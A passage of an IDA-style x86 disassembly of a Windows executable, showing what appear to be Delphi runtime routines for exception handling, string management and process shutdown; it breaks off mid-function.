		push	eax
		push	edx
		push	esp
		push	7
		push	1
		push	0EEDFADEh
		push	edx
		jmp	ds:off_40A014
sub_401FF4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40201C	proc near		; CODE XREF: CODE:loc_401BF3p

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_402067
		call	sub_40308C
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_402056
		mov	eax, [edx+8]
		call	sub_401A84
		call	sub_401C24


loc_402056:				; CODE XREF: sub_40201C+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_402067:				; DATA XREF: sub_40201C+4o
		mov	eax, 1
		retn
sub_40201C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		call	sub_40308C
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_401A84
		pop	edx
		mov	esp, [esp+2Ch]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_401CEC
		jmp	edx
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4020A0	proc near		; CODE XREF: sub_4021FC:loc_40224Ap
					; DATA XREF: DATA:off_40902Co
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, offset dword_40A3E0
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_4020CE
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_4020CE


loc_4020BA:				; CODE XREF: sub_4020A0+2Cj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_4020CA
		mov	ebp, eax
		call	ebp


loc_4020CA:				; CODE XREF: sub_4020A0+24j
		test	ebx, ebx
		jg	short loc_4020BA


loc_4020CE:				; CODE XREF: sub_4020A0+Ej
					; sub_4020A0+18j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4020A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4020D4	proc near		; CODE XREF: sub_4020D4+43p
					; sub_402128+12p
					; DATA XREF: ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	eax, offset sub_4020D4
		cmp	eax, ds:off_409028
		setz	bl
		cmp	edi, ebp
		jle	short loc_402123


loc_4020F0:				; CODE XREF: sub_4020D4+4Dj
		mov	eax, [esi+ebp*8]
		inc	ebp
		mov	ds:dword_40A3EC, ebp
		test	eax, eax
		jz	short loc_402100
		call	eax


loc_402100:				; CODE XREF: sub_4020D4+28j
		test	bl, bl
		jz	short loc_40211F
		mov	eax, offset sub_4020D4
		cmp	eax, ds:off_409028
		jz	short loc_40211F
		mov	ecx, edi
		mov	edx, ebp
		mov	eax, esi
		call	ds:off_409028
		jmp	short loc_402123
; ---------------------------------------------------------------------------


loc_40211F:				; CODE XREF: sub_4020D4+2Ej
					; sub_4020D4+3Bj
		cmp	edi, ebp
		jg	short loc_4020F0


loc_402123:				; CODE XREF: sub_4020D4+1Aj
					; sub_4020D4+49j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4020D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402128	proc near		; CODE XREF: sub_402144+35p
		mov	eax, ds:off_40A3E8
		test	eax, eax
		jz	short locret_402140
		mov	edx, [eax]
		xor	ecx, ecx
		mov	eax, [eax+4]
		xchg	ecx, edx
		call	ds:off_409028

locret_402140:				; CODE XREF: sub_402128+7j
		retn
sub_402128	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402144	proc near		; CODE XREF: sub_4030D8+3Ap
		mov	ds:off_40A014, offset sub_4010B8
		mov	ds:off_40A018, offset sub_4010C0
		mov	ds:off_40A3E8, eax
		xor	eax, eax
		mov	ds:dword_40A3EC, eax
		mov	ds:off_40A3F0, edx
		mov	eax, [edx+4]
		mov	ds:dword_40A02C, eax
		mov	ds:byte_40A034,	0
		call	sub_402128
		retn
sub_402144	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402180	proc near		; CODE XREF: CODE:004067FBp
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_40218C:				; CODE XREF: sub_402180+1Fj
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	edx, ebx
		call	sub_402F64
		add	esi, 8
		dec	edi
		jnz	short loc_40218C
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_402180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4021A8	proc near		; CODE XREF: CODE:00406805p
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_4021B4:				; CODE XREF: sub_4021A8+1Ej
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	eax, [esi+8]
		mov	[edx+ebx], eax
		add	esi, 0Ch
		dec	edi
		jnz	short loc_4021B4
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4021A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021CC	proc near		; CODE XREF: sub_4021FC+96p
		xor	eax, eax
		xchg	eax, ds:dword_409000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_40A3E0
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4021CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4021FC	proc near		; CODE XREF: sub_4022CC+5p
					; CODE:loc_4083A3p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_40A3E0
		mov	esi, offset dword_409000
		mov	edi, offset dword_40A038
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_40222B
		cmp	dword ptr [edi], 0
		jz	short loc_40222B


loc_40221A:				; CODE XREF: sub_4021FC+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_40221A


loc_40222B:				; CODE XREF: sub_4021FC+17j
					; sub_4021FC+1Cj
		cmp	ds:dword_409004, 0
		jz	short loc_40223A
		call	ds:off_409064


loc_40223A:				; CODE XREF: sub_4021FC+36j
					; sub_4021FC+C6j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_40224A
		cmp	dword ptr [esi], 0
		jnz	short loc_40224A
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_40224A:				; CODE XREF: sub_4021FC+42j
					; sub_4021FC+47j
		call	ds:off_40902C
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_40225B
		cmp	dword ptr [esi], 0
		jz	short loc_40227D


loc_40225B:				; CODE XREF: sub_4021FC+58j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_40227D
		call	ds:off_40901C
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_40227D
		test	eax, eax
		jz	short loc_40227D
		push	eax
		call	sub_401080	; FreeLibrary


loc_40227D:				; CODE XREF: sub_4021FC+5Dj
					; sub_4021FC+64j ...
		call	ds:off_409030
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_40228C
		call	dword ptr [ebx+24h]


loc_40228C:				; CODE XREF: sub_4021FC+8Bj
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_402297
		call	sub_4021CC


loc_402297:				; CODE XREF: sub_4021FC+94j
		cmp	dword ptr [ebx], 0
		jnz	short loc_4022B3
		cmp	ds:dword_40A024, 0
		jz	short loc_4022AB
		call	ds:dword_40A024


loc_4022AB:				; CODE XREF: sub_4021FC+A7j
		mov	eax, [esi]
		push	eax
		call	sub_4010D8	; ExitProcess


loc_4022B3:				; CODE XREF: sub_4021FC+9Ej
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_40223A
sub_4021FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4022CC	proc near		; CODE XREF: sub_401228+6p
					; sub_4022D8+6j
		mov	ds:dword_409000, eax
		call	sub_4021FC
sub_4022CC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4022D8	proc near		; CODE XREF: sub_401FF4+9p
					; sub_403048+1Ap ...
		pop	ds:dword_409004
		jmp	sub_4022CC
sub_4022D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4022E4	proc near		; CODE XREF: sub_401428+4Bp
					; sub_401488+Fp ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402305
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_402305
		dec	dword ptr [edx-8]
		jnz	short locret_402305
		push	eax
		lea	eax, [edx-8]
		call	sub_4011C0
		pop	eax

locret_402305:				; CODE XREF: sub_4022E4+4j
					; sub_4022E4+10j ...
		retn
sub_4022E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402308	proc near		; CODE XREF: sub_402824+56p
					; sub_404CB0+10Dp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40230E:				; CODE XREF: sub_402308+29j
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_40232D
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_40232D
		dec	dword ptr [edx-8]
		jnz	short loc_40232D
		lea	eax, [edx-8]
		call	sub_4011C0


loc_40232D:				; CODE XREF: sub_402308+Aj
					; sub_402308+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_40230E
		pop	esi
		pop	ebx
		retn
sub_402308	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402338	proc near		; CODE XREF: sub_402564+8j
					; sub_4025A8:loc_402619p ...
		test	edx, edx
		jz	short loc_40235F
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_40235C
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_4023A4
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4012DC
		pop	edx
		pop	eax
		jmp	short loc_40235F
; ---------------------------------------------------------------------------


loc_40235C:				; CODE XREF: sub_402338+8j
		inc	dword ptr [edx-8]


loc_40235F:				; CODE XREF: sub_402338+2j
					; sub_402338+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_402378
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_402378
		dec	dword ptr [edx-8]
		jnz	short locret_402378
		lea	eax, [edx-8]
		call	sub_4011C0

locret_402378:				; CODE XREF: sub_402338+2Bj
					; sub_402338+31j ...
		retn
sub_402338	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40237C	proc near		; CODE XREF: sub_405638+2Ep
					; sub_405F88+1EDp ...
		test	edx, edx
		jz	short loc_402389
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_402389
		inc	dword ptr [edx-8]


loc_402389:				; CODE XREF: sub_40237C+2j
					; sub_40237C+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4023A2
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4023A2
		dec	dword ptr [edx-8]
		jnz	short locret_4023A2
		lea	eax, [edx-8]
		call	sub_4011C0

locret_4023A2:				; CODE XREF: sub_40237C+11j
					; sub_40237C+17j ...
		retn
sub_40237C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4023A4	proc near		; CODE XREF: sub_402338+Fp
					; sub_4023D0+Bp ...
		test	eax, eax
		jle	short loc_4023CC
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4011A8
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_4023CC:				; CODE XREF: sub_4023A4+2j
		xor	eax, eax
		retn
sub_4023A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4023D0	proc near		; CODE XREF: sub_401488+2Fp
					; CODE:0040246Ap ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_4023A4
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_4023F1
		mov	edx, eax
		mov	eax, esi
		call	sub_4012DC


loc_4023F1:				; CODE XREF: sub_4023D0+16j
		mov	eax, ebx
		call	sub_4022E4
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4023D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402400	proc near		; CODE XREF: CODE:00402457p
					; CODE:00402487p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		push	0
		call	sub_401140	; WideCharToMultiByte
		pop	ebp
		retn	4
sub_402400	endp

; ---------------------------------------------------------------------------
		align 4


loc_40241C:				; CODE XREF: CODE:loc_40251Bj
					; CODE:loc_402553j
		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_40243E
		mov	eax, edi
		call	sub_4022E4
		jmp	short loc_40249D
; ---------------------------------------------------------------------------


loc_40243E:				; CODE XREF: CODE:00402433j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_402471
		push	esi
		lea	eax, [esp+8]
		mov	ecx, [esp+4]
		mov	edx, 0FFFh
		call	sub_402400
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_402471
		lea	edx, [esp+4]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_4023D0
		jmp	short loc_40249D
; ---------------------------------------------------------------------------


loc_402471:				; CODE XREF: CODE:00402447j
					; CODE:00402460j
		mov	ebx, ebp
		add	ebx, ebx
		mov	eax, edi
		mov	edx, ebx
		call	sub_402774
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+4]
		mov	edx, ebx
		call	sub_402400
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_402494
		xor	ebx, ebx


loc_402494:				; CODE XREF: CODE:00402490j
		mov	eax, edi
		mov	edx, ebx
		call	sub_402774


loc_40249D:				; CODE XREF: CODE:0040243Cj
					; CODE:0040246Fj
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4024A8	proc near		; CODE XREF: sub_404F38+8Dp
					; sub_404F38+190p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_4023D0
		pop	edx
		retn
sub_4024A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4024B8	proc near		; CODE XREF: sub_402F64+48p
					; sub_404DD4+28p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_4024DF
		push	edx


loc_4024BF:				; CODE XREF: sub_4024B8+1Dj
		cmp	cl, [edx]
		jz	short loc_4024DA
		cmp	cl, [edx+1]
		jz	short loc_4024D9
		cmp	cl, [edx+2]
		jz	short loc_4024D8
		cmp	cl, [edx+3]
		jz	short loc_4024D7
		add	edx, 4
		jmp	short loc_4024BF
; ---------------------------------------------------------------------------


loc_4024D7:				; CODE XREF: sub_4024B8+18j
		inc	edx


loc_4024D8:				; CODE XREF: sub_4024B8+13j
		inc	edx


loc_4024D9:				; CODE XREF: sub_4024B8+Ej
		inc	edx


loc_4024DA:				; CODE XREF: sub_4024B8+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_4024DF:				; CODE XREF: sub_4024B8+4j
		jmp	sub_4023D0
sub_4024B8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4024E8:				; DATA XREF: sub_4042BA:loc_40448Ao
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40251B
		push	edx


loc_4024EF:				; CODE XREF: CODE:00402509j
		cmp	cx, [edx]
		jz	short loc_402514
		cmp	cx, [edx+2]
		jz	short loc_402511
		cmp	cx, [edx+4]
		jz	short loc_40250E
		cmp	cx, [edx+6]
		jz	short loc_40250B
		add	edx, 8
		jmp	short loc_4024EF
; ---------------------------------------------------------------------------


loc_40250B:				; CODE XREF: CODE:00402504j
		add	edx, 2


loc_40250E:				; CODE XREF: CODE:004024FEj
		add	edx, 2


loc_402511:				; CODE XREF: CODE:004024F8j
		add	edx, 2


loc_402514:				; CODE XREF: CODE:004024F2j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_40251B:				; CODE XREF: CODE:004024ECj
		jmp	loc_40241C
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402524	proc near		; CODE XREF: sub_4078FC+33p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_4023D0
sub_402524	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402530	proc near		; CODE XREF: sub_4057C0+BBp
					; sub_405B58+49p ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_40253D
		not	ecx


loc_40253D:				; CODE XREF: sub_402530+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_4023D0
sub_402530	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_402548:				; DATA XREF: sub_4042BA:loc_404491o
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_402553
		mov	ecx, [edx-4]
		shr	ecx, 1


loc_402553:				; CODE XREF: CODE:0040254Cj
		jmp	loc_40241C
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40255C	proc near		; CODE XREF: sub_403F5C+Ap
					; sub_4045F8+1Fp ...
		test	eax, eax
		jz	short locret_402563
		mov	eax, [eax-4]

locret_402563:				; CODE XREF: sub_40255C+2j
		retn
sub_40255C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402564	proc near		; CODE XREF: sub_404F38+97p
					; sub_404F38+EEp ...
		test	edx, edx
		jz	short locret_4025A7
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_402338
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_40259C
		call	sub_402774
		mov	eax, esi
		mov	ecx, [esi-4]


loc_40258F:				; CODE XREF: sub_402564+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4012DC
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40259C:				; CODE XREF: sub_402564+1Fj
		call	sub_402774
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_40258F
; ---------------------------------------------------------------------------

locret_4025A7:				; CODE XREF: sub_402564+2j
		retn
sub_402564	endp


; =============== S U B	R O U T	I N E =======================================



sub_4025A8	proc near		; CODE XREF: sub_405F88+27Bp
					; sub_405F88+298p ...
		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_4025BF
		cmp	[eax], ecx
		jnz	short loc_4025BF
		mov	edi, eax


loc_4025BF:				; CODE XREF: sub_4025A8+Fj
					; sub_4025A8+13j
		xor	eax, eax


loc_4025C1:				; CODE XREF: sub_4025A8+2Bj
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_4025D2
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_4025D2
		xor	edi, edi


loc_4025D2:				; CODE XREF: sub_4025A8+1Fj
					; sub_4025A8+26j
		dec	edx
		jnz	short loc_4025C1
		test	edi, edi
		jz	short loc_4025ED
		mov	edx, eax
		mov	eax, edi
		mov	esi, [edi]
		mov	esi, [esi-4]
		call	sub_402774
		push	edi
		add	esi, [edi]
		dec	ebx
		jmp	short loc_4025F5
; ---------------------------------------------------------------------------


loc_4025ED:				; CODE XREF: sub_4025A8+2Fj
		call	sub_4023A4
		push	eax
		mov	esi, eax


loc_4025F5:				; CODE XREF: sub_4025A8+43j
					; sub_4025A8+62j
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_402609
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_4012DC


loc_402609:				; CODE XREF: sub_4025A8+55j
		dec	ebx
		jnz	short loc_4025F5
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_40261E
		test	edx, edx
		jz	short loc_402619
		dec	dword ptr [edx-8]


loc_402619:				; CODE XREF: sub_4025A8+6Cj
		call	sub_402338


loc_40261E:				; CODE XREF: sub_4025A8+68j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_4025A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40262C	proc near		; CODE XREF: sub_407CDC+8Bp
					; sub_407CDC+CAp
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_4026CA
		test	esi, esi
		jz	short loc_4026A7
		test	edi, edi
		jz	short loc_4026AE
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_40264F
		add	edx, eax


loc_40264F:				; CODE XREF: sub_40262C+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_40267B


loc_402655:				; CODE XREF: sub_40262C+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_4026B5
		dec	edx
		jz	short loc_402675
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_4026B5
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_402655
		jmp	short loc_40267B
; ---------------------------------------------------------------------------


loc_402675:				; CODE XREF: sub_40262C+32j
		add	esi, 4
		add	edi, 4


loc_40267B:				; CODE XREF: sub_40262C+27j
					; sub_40262C+47j
		pop	edx
		and	edx, 3
		jz	short loc_4026A3
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_4026CA
		dec	edx
		jz	short loc_4026A3
		cmp	ch, bh
		jnz	short loc_4026CA
		dec	edx
		jz	short loc_4026A3
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_4026CA


loc_4026A3:				; CODE XREF: sub_40262C+53j
					; sub_40262C+5Ej ...
		add	eax, eax
		jmp	short loc_4026CA
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_40262C+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_4026CA
; ---------------------------------------------------------------------------


loc_4026AE:				; CODE XREF: sub_40262C+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_4026CA
; ---------------------------------------------------------------------------


loc_4026B5:				; CODE XREF: sub_40262C+2Fj
					; sub_40262C+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_4026CA
		cmp	ch, bh
		jnz	short loc_4026CA
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4026CA
		cmp	ch, bh


loc_4026CA:				; CODE XREF: sub_40262C+9j
					; sub_40262C+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40262C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4026D0	proc near		; CODE XREF: sub_406870+Fp
					; sub_406930+14p ...
		test	eax, eax
		jz	short locret_4026DD
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4026DD
		inc	dword ptr [eax-8]

locret_4026DD:				; CODE XREF: sub_4026D0+2j
					; sub_4026D0+8j
		retn
sub_4026D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4026E0	proc near		; CODE XREF: sub_403F5C+13p
					; CODE:00405220p ...
		test	eax, eax
		jz	short loc_4026E6
		retn
; ---------------------------------------------------------------------------
byte_4026E5	db 0			; DATA XREF: sub_4026E0:loc_4026E6o
; ---------------------------------------------------------------------------


loc_4026E6:				; CODE XREF: sub_4026E0+2j
		mov	eax, offset byte_4026E5
		retn
sub_4026E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026EC	proc near		; CODE XREF: sub_40272Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_402729
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_402729
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_4023A4
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4012DC
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_402726
		dec	dword ptr [eax-8]
		jnz	short loc_402726
		lea	eax, [eax-8]
		call	sub_4011C0


loc_402726:				; CODE XREF: sub_4026EC+2Bj
					; sub_4026EC+30j
		mov	edx, [ebx]
		pop	ebx


loc_402729:				; CODE XREF: sub_4026EC+4j
					; sub_4026EC+Aj
		mov	eax, edx
		retn
sub_4026EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40272C	proc near		; CODE XREF: sub_406870+34p
					; sub_406870+67p ...
		jmp	sub_4026EC
sub_40272C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402734	proc near		; CODE XREF: sub_403FAC+20p
					; sub_404F38+E4p ...

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_402766
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_402766
		dec	edx
		jl	short loc_40275E
		cmp	edx, ebx
		jge	short loc_402766


loc_402747:				; CODE XREF: sub_402734+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_402766
		cmp	ecx, ebx
		jg	short loc_402762


loc_402751:				; CODE XREF: sub_402734+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_4023D0
		jmp	short loc_40276F
; ---------------------------------------------------------------------------


loc_40275E:				; CODE XREF: sub_402734+Dj
		xor	edx, edx
		jmp	short loc_402747
; ---------------------------------------------------------------------------


loc_402762:				; CODE XREF: sub_402734+1Bj
		mov	ecx, ebx
		jmp	short loc_402751
; ---------------------------------------------------------------------------


loc_402766:				; CODE XREF: sub_402734+3j
					; sub_402734+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_4022E4


loc_40276F:				; CODE XREF: sub_402734+28j
		pop	ebx
		retn	4
sub_402734	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402774	proc near		; CODE XREF: sub_40133C+7Fp
					; CODE:00402479p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_4027C9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4027AA
		cmp	dword ptr [eax-8], 1
		jnz	short loc_4027AA
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_4011D8
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_4027D2
; ---------------------------------------------------------------------------


loc_4027AA:				; CODE XREF: sub_402774+11j
					; sub_402774+17j
		mov	eax, edx
		call	sub_4023A4
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4027C9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_4027C4
		mov	ecx, esi


loc_4027C4:				; CODE XREF: sub_402774+4Cj
